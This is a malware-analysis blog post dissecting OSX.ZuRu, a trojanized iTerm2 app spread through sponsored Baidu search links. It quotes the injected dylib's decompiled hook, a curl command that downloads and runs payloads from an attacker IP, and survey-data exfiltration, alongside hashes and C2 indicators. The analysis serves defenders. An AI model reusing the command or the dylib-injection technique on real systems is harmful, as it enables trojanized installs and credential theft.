# Objective-See's Blog **objective-see.com/blog/blog_0x66.html** Made in China: OSX.ZuRu trojanized apps spread malware, via sponsored search results by: Patrick Wardle / September 14, 2021 📝 👾 Want to play along? [I’ve uploaded an OSX.ZuRu sample (password: infect3d).](https://objective-see.com/downloads/malware/ZuRu.zip) ...please don’t infect yourself! ## Background [Late on September 14th, the noted security researcher Zhi, (@CodeColorist), tweeted about](https://twitter.com/CodeColorist) new attack that was spreading (new?) macOS malware via sponsored search engine results: [ℹ The posting mentioned in his tweet, zhuanlan.zhihu.com/p/408746101, provides a](https://zhuanlan.zhihu.com/p/408746101) detailed overview of the attack. Moreover, it appears to be the first mention of this attack, and as such, should be credited with the discovery of this (widespread?) attack. Here, we build upon this posting, providing an analysis that focuses on uncovering the technical details of the attack, such as the specific method of trojanization. As Zhi noted, the malware was hosted on the site `iTerm2.net .` This malicious site, appears identical to the legitimate and popular iTerm2 website ( iTerm2.com ): ----- The fact the the malicious site, masquerades as the legitimate one is unsurprising as the malware’s attack vector is based on simple trickery. Specifically, as noted by Zhi and in [aforementioned writeup, users who searched for ‘iTerm2’ on the Chinese search engine](https://zhuanlan.zhihu.com/p/408746101) Baidu would have been presented with the sponsored link to the malware: ----- …and following this link, as the malicious site was a clone, perhaps not realize anything was amiss. ℹ As of September 15th, the malicious site, iTerm2.net, appears offline. ## Where’s the Malware? To download the malware users would have to click the `Download button, then any of the` links on the download page. This would download a disk image named `iTerm.dmg from` ``` http://www.kaidingle.com/iTerm/iTerm.dmg ``` ``` % shasum -a 1 ~/Downloads/iTerm.dmg a2651c95ed756d07fd204785072c951376010bd8 /Users/patrick/Downloads/iTerm.dmg ``` Currently this disk image is not flagged by any of the anti-virus engines on VirusTotal as malicious: We can mount the downloaded disk image (to `/Volumes/iTerm ), to examine its contents:` ----- The main item on the disk image is an application named `iTerm . It appears to mimic again,` the legitimate `iTerm app. Examining the code-signing certificate, we can see that this` application is signed, albeit by a `Jun Bi (AQPZ6F3ASY)` Signed, by Jun Bi (AQPZ6F3ASY) However it is not notarized: ``` % spctl -a -t exec -vvv /Volumes/iTerm/iTerm.app/ /Volumes/iTerm/iTerm.app/: rejected origin=Apple Distribution: Jun Bi (AQPZ6F3ASY) ``` ----- ℹ The legitimate iTerm2 application is signed by a GEORGE NACHMAN, and is fully notarized. _Update: As of September 15th, Apple has revoked_ `Jun Bi ’s code-signing certificate:` Certificate, now revoked The legitimate and the malicious iTerm2 application bundles contain a massive number of files, including several Mach-O binaries. Moreover, the malicious version appears largely benign (as is the case with most applications that have been surreptitiously trojanized). As such, it takes us a minute to uncover the malicious component. One of the first actions I take when triaging a new (possibly malicious) binary is dump it’s dependencies. Often you can learn a lot about a binary based on the dynamic libraries it is linked against. Using `otool, we view the dependencies of the (suspected to be malicious) iTerm2` application, downloaded from the suspicious `iTerm2.net` ``` % otool -L /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 /usr/lib/libaprutil-1.0.dylib /usr/lib/libicucore.A.dylib /usr/lib/libc++.1.dylib ... /usr/lib/libz.1.dylib @executable_path/../Frameworks/libcrypto.2.dylib ``` ----- That last library does appear a bit shady (in comparison to the others), simply based on it s path, and name. 🤔 And if we dump the dependencies of the the legit iTerm2 application, lo and behold, it does **not have such a dependency:** ``` otool -L ~/Downloads/iTerm.app/Contents/MacOS/iTerm2 /usr/lib/libaprutil-1.0.dylib /usr/lib/libicucore.A.dylib /usr/lib/libc++.1.dylib ... /usr/lib/libz.1.dylib ``` So, have we found the malware? (spoiler: yes). The `libcrypto.2.dylib file is 64bit Mach-O dylib, with a SHA1 hash of` ``` 72ecd873c07b1f96b01bd461d091547f9dbcb2b7 % file libcrypto.2.dylib libcrypto.2.dylib: Mach-O 64-bit dynamically linked shared library x86_64 % shasum -a 1 libcrypto.2.dylib 72ecd873c07b1f96b01bd461d091547f9dbcb2b7 /Volumes/iTerm/iTerm.app/Contents/Frameworks/libcrypto.2.dylib ``` Currently this dylib is not (also) flagged by any of the anti-virus engines on VirusTotal as malicious: ## Analysis of libcrypto.2.dylib If the user runs the trojanized iTerm2 app, nothing appears amiss as a legitimate iTerm shell is shown. Quickly triaging the trojanized iTerm2 application bundle’s main binary, `iTerm2, appears to` be simply a copy of the legitimate iTerm app. The only modification is the addition of a ``` LC_LOAD_DYLIB load command, which adds a dependency to libcrypto.2.dylib ``` ----- ``` % otool l /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 Load command 50 cmd LC_LOAD_DYLIB cmdsize 80 name @executable_path/../Frameworks/libcrypto.2.dylib (offset 24) time stamp 0 Wed Dec 31 14:00:00 1969 current version 0.0.0 compatibility version 0.0.0 ``` So how does the `libcrypto.2.dylib get executed when a user launches the trojanized` iTerm2 application? Excellent question! …and the answer is, in a very subtle way! At load time macOS’s dynamic loader, `dyld will load any/all dependencies …including the` malicious `libcrypto.2.dylib . But loading a dylib doesn’t necessarily execute of its code` …unless it explicitly contains a constructor or initialization routine. Which yes, ``` libcrypto.2.dylib does! Specifically, it implements the load method at 0x0000000000002040 1 2+[crypto_2 load]: 30x0000000000002040 push rbp 40x0000000000002041 mov rbp, rsp 50x0000000000002044 sub rsp, 0x10 60x0000000000002048 mov qword [rbp+var_8], rdi 70x000000000000204c mov qword [rbp+var_10], rsi 80x0000000000002050 mov rax, qword [objc_cls_ref_NSObject] 90x0000000000002057 mov rsi, qword [0x40530] 100x000000000000205e mov rdi, rax 110x0000000000002061 call qword [_objc_msgSend_38140] 120x0000000000002067 add rsp, 0x10 130x000000000000206b pop rbp 140x000000000000206c ret 15 ``` According to Apple’s [documentation on the](https://developer.apple.com/documentation/objectivec/nsobject/1418815-load?language=objc) `load method, it is automatically invoked when` for example, a dynamic library is loaded. We can confirm this in a debugger: ----- ``` % lldb /Volumes/iTerm/iTerm.app/ (lldb) target create "/Volumes/iTerm/iTerm.app/" Current executable set to '/Volumes/iTerm/iTerm.app' (x86_64). (lldb) process launch --stop-at-entry (lldb) b 0x101783040 Breakpoint 1: where = libcrypto.2.dylib`+[crypto_2 load], address = 0x0000000101783040 (lldb) continue (lldb) /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 * thread #1, stop reason = breakpoint 1.1 libcrypto.2.dylib`+[crypto_2 load]: -> 0x101783040 : pushq %rbp 0x101783041 : movq %rsp, %rbp (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 * frame #0: 0x0000000101783040 libcrypto.2.dylib`+[crypto_2 load] frame #1: 0x00007fff665cc560 libobjc.A.dylib`load_images + 1529 frame #2: 0x00000001011b226c dyld`dyld::notifySingle(...) + 418 frame #3: 0x00000001011c5fe9 dyld`ImageLoader::recursiveInitialization(...) + 475 frame #4: 0x00000001011c5f66 dyld`ImageLoader::recursiveInitialization(...) + 344 frame #5: 0x00000001011c40b4 dyld`ImageLoader::processInitializers(...) + 188 frame #6: 0x00000001011c4154 dyld`ImageLoader::runInitializers(....) + 82 frame #7: 0x00000001011b26a8 dyld`dyld::initializeMainExecutable() + 199 frame #8: 0x00000001011b7bba dyld`dyld::_main(...) + 6667 frame #9: 0x00000001011b1227 dyld`dyldbootstrap::start(...) + 453 frame #10: 0x00000001011b1025 dyld`_dyld_start + 37 ``` In the above, note that `libcrypto.2.dylib ’s` `load method is automatically called as part` of `dyld ’s initialization of the library.` If we decompile the `load method, we find it simply calls a method called` `hookCommon .` Take a look a this method: ``` 1/* @class NSObject */ 2+(void)hookCommon { 3 rax = [NSString stringWithFormat:@"===========888888888 code:@%@", @"1111111"]; 4 [self myOCLog:rax]; 5 6 rax = [self serialNumber]; 7 rax = [NSString stringWithFormat:@"===========888888888 identifier:@%@", rax]; 8 [self myOCLog:rax]; 9 10 var_70 = dispatch_time(0x0, 0x1bf08eb000); 11 var_38 = *NSConcreteStackBlock; 12 dispatch_after(var_70, rax, &var_38); 13 14 return; 15} ``` ----- The method first invokes the `myOCLog method (which doesn t actually log anything) with the` string `===========888888888 code:@1111111 and then again with the infected system’s` serial number (obtained via a call to a method aptly named `serialNumber ). Then it` executes a block of logic via a `dispatch_after …likely so the` `load method can return` right away (as it should, so that other required `dyld can continue).` The dispatch callback block simply calls a method named `request (found at` ``` 0x0000000000003520 ). ``` After decrypting various strings it makes a HTTP GET request via the AFNetworking library (that has been statically compiled in) to `https://apps.mzstatics.com/fwjNY/v.php?` ``` ver=1.3&id=VMI5EOhq8gDz . Note that the value for the id parameter is the infected ``` systems serial number. [If you’re lucky enough to have LuLu installed it will kindly alert you to this connection attempt:](https://objective-see.com/products/lulu.html) Once the server has responded, the malware invokes it’s ``` runShellWithCommand:completeBlock: method. And what does it attempt to run? The ``` following (returned from the server?), which included downloading and executing various 2nd-stage payloads from a server found at `47.75.123.111 :` ``` curl -sfo /tmp/g.py http://47.75.123.111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate ``` We can passively observe the execution of these commands via my open-source [ProcessMonitor:](https://objective-see.com/products/utilities.html#ProcessMonitor) ----- ``` { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 501, "arguments" : [ "/bin/sh", "-c", "curl -sfo /tmp/g.py http://47.75.123.111/g.py && chmod 777 /tmp/g.py && python /tmp/g.py && curl -sfo /tmp/GoogleUpdate http://47.75.123.111/GoogleUpdate && chmod 777 /tmp/GoogleUpdate && /tmp/GoogleUpdate" ] } } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 501, "arguments" : [ "python", "/tmp/g.py" ] } } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "signing info (computed)" : { "signatureStatus" : -67062 }, "uid" : 501, "arguments" : [ "/tmp/GoogleUpdate" ], "path" : "/private/tmp/GoogleUpdate", "name" : "GoogleUpdate" } } ``` Note that in the ProcessMonitor output, we can see the malware executing the downloaded python script, `g.py and another downloaded item,` `GoogleUpdate from a temporary` directory. ℹ The libcrypto.2.dylib binary contains embedded (compiler) strings the reveal information about the system it was created on such as: "/Users/erdou/Desktop/mac注 入/sendRelease3.1/crypto.2/..." This provides both a user named (erdou), and a project name (mac注入). The latter, pronounced “Zhùrù” roughly translates “mac injection” and gives rise to the malware’s name **OSX.ZuRu.** ----- ## A Python Script: g.py The python script, `g.py (SHA-1:` `20acde856a043194595ed88ef7ae0b79191394f9 )` performs a comprehensive survey of the infected system: …it then zips this up before exfiltrating it. If we allow the script run, we can then grab and extract the zip to see exactly what’s in the survey: ----- Looks like it includes the infected system’s keychain, bash history, hosts, and more: ``` % cat tmp/tmp.txt ``` 获取操作系统名称及版本号 : [Darwin-19.6.0-x86_64-i386-64bit] 获取操作系统版本号 : [Darwin Kernel Version 19.6.0: Thu Jun 18 20:49:00 PDT 2020; ``` root:xnu-6153.141.1~1/RELEASE_X86_64] ``` 获取操作系统的位数 : [('64bit', '')] 计算机类型 : [x86_64] 计算机的网络名称 : [users-mac.lan] 计算机处理器信息 : [i386] 获取操作系统类型 : [Darwin] 汇总信息 : [('Darwin', 'users-mac.lan', '19.6.0', 'Darwin Kernel Version 19.6.0: Thu ``` Jun 18 20:49:00 PDT 2020; root:xnu-6153.141.1~1/RELEASE_X86_64', 'x86_64', 'i386')] ``` 程序列表 : [] ``` hosts文件 : [## # Host Database # # localhost is used to configure the loopback interface # when the system is booting. Do not change this entry. ## 127.0.0.1 localhost 255.255.255.255 broadcasthost ::1 localhost ] ``` 当前用户名 : user ``` test : [[u'Desktop', u'Documents', u'Downloads', u'Library', u'Movies', u'Music', u'Pictures', u'Public']] ``` ----- Once the Python script has completed surveying the infected host, it exfiltrates it via `curl` to the same IP address ( 47.75.123.111 ). Again, LuLu will alert you, this time about the exfiltration attempt: ## A Mach-O Binary: GoogleUpdate The second item the trojanized `iTerm application downloads and executes is a Mach-O` binary named `GoogleUpdate (SHA-1:` `25d288d95fe89ac82b17f5ba490df30356ad14b8 ).` Currently this binary is not flagged by any of the anti-virus engines on VirusTotal as malicious: A quick look at it strings reveals its packed by UPX. We can unpack it with a recent version of UPX: ----- ``` % upx d /Users/patrick/Downloads/GoogleUpdate Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ---------- 5961476 ``` The unpacked binary has a SHA-1 of `184509b63ac25f3214e1bed52e9c4aa512a0fd9e,` and also is not detected as malicious on VirusTotal. Unfortunately, the binary still packed, or at least obfuscated in some manner 😰 However, if we run it, it attempts to connect to `47.75.96.198 (on port 443). We can` [observe this connection via Netiquette:](https://objective-see.com/products/netiquette.html) According to VirusTotal, as of two days ago, this IP address was found to be a Cobalt Strike Server: ----- …thus is possible that this binary in merely a Cobalt Strike beacon! ## Conclusions In this post, we analyzed a trojanized version of the popular `iTerm application, served up` to users via sponsors search engine results on Baidu. Since then it appears the Baidu has taken action to remove these malicious links, while, as noted Apple has revoked the code signing certificate (ab)used by the malware. However, perhaps the issue was (or still is?) more widespread, as Zhi noted that the scale is “massive” and that trojanized apps are in play: ℹ Other infected disk images include: SecureCRT.dmg (SHA-1: 6bdcc10c4d6527e57a904c21639807b0f31f7807) Navicat15_cn.dmg (SHA-1: 99395781fde01321306afeb7d8636af8d4a2631f) com.microsoft.rdc.macos (SHA-1: 432d907466f14826157825af235bd0305a05fe41) ----- …so, be careful out there! 📚 The Art of Mac Malware If this blog post pique your interest, definitely check out my new book on the topic of Mac Malware Analysis: ["The Art Of Mac Malware: Analysis"](https://taomm.org/) ...it's free online, and new content is regularly added! ## 💕 Support Us: [Love these blog posts? You can support them via my Patreon page!](https://www.patreon.com/bePatron?c=701171) This website uses cookies to improve your experience. -----